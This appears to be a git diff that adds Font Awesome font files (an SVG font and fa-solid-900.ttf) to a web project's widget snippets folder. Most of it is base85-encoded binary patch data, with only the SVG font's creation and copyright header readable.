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

3G|%UO|%AX>y_DrlqHm5G}x0qqtuK)rJSvbj0n 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 + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/pages/widgets/_snippets/public/fonts/fa-solid-900.ttf b/pages/widgets/_snippets/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000000000000000000000000000000000000..5b979039ab28aaae305074541fe39258753ba624 GIT binary patch literal 202616 zcmeFadth8u)i=EMnai2WnKLt)Tke_3y-k`-bMJjfOGz)#AO#E55}?omMFUhQP;h{% z6;WF#P!%vBO4Wi@D;7itcH~$_v6@x$(-)TfW(A~< zqUu`s@4NECExpz*aTek`kUsk13$MJS>e2E-QvO&>WUK4_$Tgd{Ke+ooQvT9K6hBI6 zn^>V}pS)y;?E>%o5ppZYM)bP}Zby0Y-8gY{V!v{?cmZAqDVzg;oG&$zB2tnQNAbMd z440Aou)N73mcNK@ipoGPSjbcf=_j&^e_FPY4Z$nLr3gFCe2-88Z9|!4vzRHTy}Bz(Gs}7&Sg#fll=xvq?H7DMJnT;`W8J?{Hl_q zeB|>X59fC%iHYN~9K)|lH=+8J8P9HpB>ahNxKTI4IGv0mqaM?rCy-VFNPlYTo9oDg za~kPS%C|%GWb-9*aml79GkuB@=&y0qQ^bI@j*|eF@5toG+s43U=Y&Z&!UAR)gnmh9 z+KfJ9|2u#Q&ck^z1`}o(MtPV~O2UlGyk$CsB{5#ei+FFgOc^)v9?E$yg9qXbJn&{W z;?hQ42u~Vd;+Ji!7%=N3ncf&nb|bya%lT3hBbhp;zm4)453_F0%Yb|g=v$S6QWOEm zIQTsoF!E=^jeKT5iJqxt%DziZylcFTJhBdyn}b(A-1#V<>t@=^mtgu8yt8@OO;f zmt`jLPRTf*0=EQ?Lzs*=`^CsFY15$bteJ+n=cZZrLsdCPoJ zPCxOkV&+2__miYI4l~lqesXZVGEZ`1#4MNl7;A_zu9CN9(xi|!f&4s=lBS#Bo(5c= zEHh=iGkzn?Sf50nj5BaDaLb)v28|>*4bLkBP>(0m&a69W)`d8fFWZ^(p3=v%eJE2T z(2oFx-N-L`I1J^$E$NHjB!TIZl!OUngkubhIiJf<5GTvvcM6cq@x#q!%YN%K%E

